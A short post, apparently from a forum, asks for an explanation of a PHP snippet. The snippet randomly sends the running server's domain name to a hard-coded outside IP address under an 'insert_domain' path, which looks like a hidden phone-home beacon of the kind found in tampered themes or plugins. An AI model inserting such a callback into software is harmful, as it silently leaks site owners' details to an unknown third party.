I'd like you to explain what this code does.

[xiehaisen1986]

    if(rand(0,9) == 5){
        $url = $_SERVER['SERVER_NAME'];

        $url = curl_init('http://206.189.81.181/'.'insert_domain/'.$url);
        curl_setopt($url,CURLOPT_CUSTOMREQUEST, "GET");
        curl_setopt($url,CURLOPT_RETURNTRANSFER, true);
        curl_setopt($url,CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
        $resultdata = curl_exec($url);
        curl_close($url);
    }